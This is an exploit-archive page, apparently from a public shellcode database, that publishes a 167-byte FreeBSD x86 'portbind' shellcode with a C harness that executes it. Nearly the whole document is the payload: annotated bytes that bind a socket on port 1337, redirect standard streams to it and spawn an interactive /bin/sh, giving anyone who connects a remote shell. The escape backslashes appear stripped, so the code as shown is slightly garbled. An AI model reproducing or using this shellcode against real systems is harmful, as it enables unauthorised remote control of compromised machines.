[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : freebsd/x86 portbind shellcode 167 bytes
# Published : 2009-12-24
# Author : sbz
# Previous Title : linux/x86 unlink(/etc/passwd) & exit() 35 bytes
# Next Title : Win32 XP SP3 ShellExecuteA shellcode


/*-
 * Copyright (c) 2009, Sofian Brabez <sbz@6dev.net>
 *
 * freebsd-x86-portbind.c - FreeBSD x86 portbind a shell (/bin/sh) on
1337 (x05x39) 167 bytes
 */

const char shellcode[] =
	"x6ax00" 					// push   $0x0
	"x6ax01" 					// push   $0x1
	"x6ax02" 					// push   $0x2
	"x50" 						// push   %eax
	"x6ax61" 					// push   $0x61
	"x58" 						// pop    %eax
	"xcdx80" 					// int    $0x80
	"x50" 						// push   %eax
	"x6ax00" 					// push   $0x0
	"x6ax00" 					// push   $0x0
	"x6ax00" 					// push   $0x0
	"x6ax00" 					// push   $0x0
	"x68x10x02x05x39" 		// push   $0x39050210
	"x89xe0" 					// mov    %esp,%eax
	"x6ax10" 					// push   $0x10
	"x50" 						// push   %eax
	"xffx74x24x1c" 			// pushl  0x1c(%esp)
	"x50" 						// push   %eax
	"x6ax68" 					// push   $0x68
	"x58"						// pop    $eax
	"xcdx80" 					// int    $0x80
	"x6ax01"					// push   $0x1
	"xffx74x24x28"			// pushl  0x28(%esp)
	"x50"						// push   %eax
	"x6ax6a"					// push   $0x6a
	"x58"						// pop    $eax
	"xcdx80"					// int    $0x80
	"x83xecx10"				// sub    $0x10,$esp
	"x6ax10"					// push   $0x10
	"x8dx44x24x04"         	// lea    0x4(%esp),%eax
	"x89xe1"					// mov    %esp,%ecx
	"x51"						// push   %ecx
	"x50"						// push   %eax
	"xffx74x24x4c"			// pushl  0x4c(%esp)
	"x50"						// push   %eax
	"x6ax1e"					// push   %0x1e
	"x58"						// pop    %eax
	"xcdx80"					// int    $0x80
	"x50"						// push   %eax
	"xffx74x24x58"			// pushl  0x58(%esp)
	"x50"						// push   %eax
	"x6ax06"					// push   $0x6
	"x58"						// pop    %eax
	"xcdx80"					// int    $0x80
	"x6ax00"					// push   $0x0
	"xffx74x24x0c"			// pushl  0xc(%esp)
	"x50"						// push   %eax
	"x6ax5a"					// push   $0x5a
	"x58"						// pop    %eax
	"xcdx80"					// int    $0x80
	"x6ax01"					// push   $0x1
	"xffx74x24x18"			// pushl  0x18(%esp)
	"x50"						// push   %eax
	"x6ax5a"					// push   $0x5a
	"x58"						// pop    %eax
	"xcdx80"					// int    $0x80
	"x6ax02"					// push   $0x2
	"xffx74x24x24"			// pushl  0x24(%esp)
	"x50"						// push   %eax
	"x6ax5a"					// push   $0x5a
	"x58"						// pop    %eax
	"xcdx80"					// int    $0x80
	"x68x73x68x00x00"		// push   $0x6873
	"x89xe0"					// mov    %esp,%eax
	"x68x2dx69x00x00"		// push   $0x692d
	"x89xe1"					// mov    %esp,%ecx
	"x6ax00"					// push   $0x0
	"x51"						// push   %ecx
	"x50"						// push   %eax
	"x68x2fx73x68x00"		// push   $0x68732f
	"x68x2fx62x69x6e"		// push   $0x6e69622f
	"x89xe0"					// mov    %esp,%eax
	"x8dx4cx24x08"			// lea    0x8(%esp),%ecx
	"x6ax00"					// push   $0x0
	"x51"						// push   %ecx
	"x50"						// push   %eax
	"x50"						// push   %eax
	"x6ax3b"					// push   $0x3b
	"x58"						// pop    %eax
	"xcdx80";					// int    $0x80

int main(void) {
    void (*egg)() = (void *)shellcode;

    return (*(int(*)())shellcode)();
}